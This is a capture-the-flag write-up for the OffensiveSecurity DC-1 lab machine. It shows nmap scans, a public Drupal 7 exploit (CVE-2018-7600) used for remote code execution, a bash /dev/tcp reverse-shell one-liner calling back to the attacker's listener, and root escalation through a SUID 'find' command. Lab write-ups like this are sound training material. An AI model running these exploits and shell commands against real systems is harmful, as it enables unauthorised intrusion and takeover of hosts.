OffensiveSecurity – DC-1

Alberto Gómez

First, I did a *nmap* scan:

```
┌──(kali㉿kali)-[~]
└─$ nmap -Pn 192.168.51.193
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-09 05:03 EDT
Nmap scan report for 192.168.51.193
Host is up (0.050s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
111/tcp open  rpcbind

Nmap done: 1 IP address (1 host up) scanned in 13.77 seconds
```

Tried to learn more about the services:

```
┌──(kali㉿kali)-[~]
└─$ nmap -Pn -p22,80,111 -sV -sC 192.168.51.193
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-09 05:04 EDT
Nmap scan report for 192.168.51.193
Host is up (0.046s latency).

PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0)
| ssh-hostkey:
|   1024 c4d659e6774c227a961660678b42488f (DSA)
|   2048 1182fe534edc5b327f446482757dd0a0 (RSA)
|_  256 3daa985c87afea84b823688db9055fd8 (ECDSA)
80/tcp  open  http    Apache httpd 2.2.22 ((Debian))
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
|_/LICENSE.txt /MAINTAINERS.txt
|_http-server-header: Apache/2.2.22 (Debian)
|_http-generator: Drupal 7 (http://drupal.org)
|_http-title: Welcome to Drupal Site | Drupal Site
111/tcp open  rpcbind 2-4 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          46232/tcp   status
|   100024  1          48086/tcp6  status
|   100024  1          53990/udp   status
|_  100024  1          57904/udp6  status
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

On the port 111 section, it found a service on port 46232. Let's check it:

```
┌──(kali㉿kali)-[~]
└─$ sudo nmap -Pn -p- -sS 192.168.51.193
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-09 05:15 EDT
Nmap scan report for 192.168.51.193
Host is up (0.048s latency).
Not shown: 65531 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
111/tcp   open  rpcbind
46232/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 49.13 seconds

┌──(kali㉿kali)-[~]
└─$ sudo nmap -sV -sC -p46232 192.168.51.193
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-09 05:17 EDT
Nmap scan report for 192.168.51.193
Host is up (0.045s latency).

PORT      STATE SERVICE VERSION
46232/tcp open  status  1 (RPC #100024)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.89 seconds
```

It's also open. Let's leave it here by now.

On the website, we see it runs DRPAL CMS, version 7.

```
<head profile="http://www.w3.org/1999/xhtml/vocab">
  <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
  <link rel="shortcut icon" href="http://192.168.51.193/misc/favicon.ico" type="image/vnd.microsoft.icon">
  <meta name="Generator" content="Drupal 7 (http://drupal.org)">
  <title>Welcome to Drupal Site | Drupal Site</title>
```

Looking for vulnerabilities on this version, I found the CVE-2018-7600, that allows Remote Code Execution. I found [this GitHub repository] that has a python script to exploit it.

I ran it and got command execution:

```
┌──(kali㉿kali)-[~/CVE-2018-7600]
└─$ python3 drupa7-CVE-2018-7600.py http://192.168.51.193 -c pwd

============================================================
|         DRUPAL 7 ⩽ 7.57 REMOTE CODE EXECUTION (CVE-2018-7600)          |
|                            by pimps                                    |
============================================================

[*] Poisoning a form and including it in cache.
[*] Poisoned form ID: form-2AYqxdcJG9e_HzwkNDHyT6-sWE4T90EMdFHgYlW-Z40
[*] Triggering exploit to execute: pwd
/var/www
```

Let's send us a shell:

```
┌──(kali㉿kali)-[~/CVE-2018-7600]
└─$ python3 drupa7-CVE-2018-7600.py http://192.168.51.193 -c "bash -c 'bash -i >& /dev/tcp/192.168.49.51/8888 0>&1'"

============================================================
|          DRUPAL 7 ≤ 7.57 REMOTE CODE EXECUTION (CVE-2018-7600)          |
|                             by pimps                                    |
============================================================

[*] Poisoning a form and including it in cache.
[*] Poisoned form ID: form-4wNNgOn8bVGyEdfkRuYnIl7PzpBfC5lk4Ci2ZgE5wYA
[*] Triggering exploit to execute: bash -c 'bash -i >& /dev/tcp/192.168.49.51/8888 0>&1'
```

```
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 8888
listening on [any] 8888 ...
connect to [192.168.49.51] from (UNKNOWN) [192.168.51.193] 60441
bash: no job control in this shell
www-data@DC-1:/var/www$
```

We can find the first flag on the */home* directory:

```
www-data@DC-1:/var/www$ ls -l /home
ls -l /home
total 8
drwxr-xr-x 2 flag4 flag4 4096 Feb 19  2019 flag4
-rw-r--r-- 1 root  root    33 May  9 19:02 local.txt
www-data@DC-1:/var/www$ cat /home/local.txt
cat /home/local.txt
3dd8674c7ac3ec785edd3bbb5412bdc6
www-data@DC-1:/var/www$
```

Looking for files with the SUID bit, I found the *find* command:

```
-rwsr-xr-x 1 root root 162424 Jan  6  2012 /usr/bin/find
```

Looking it up on GTFOBins, we find a command to execute when '*find*' has the SUID bit in order to get a root shell:

```
www-data@DC-1:/var/www$ /usr/bin/find / -exec /bin/bash -p \; -quit
bash-4.2# whoami
root
bash-4.2# cd /root
bash-4.2# ls
proof.txt  thefinalflag.txt
bash-4.2# cat proof.txt
26234d8419aefa8494a0728a6137abc2
bash-4.2#
```

It was successful and I found the final flag.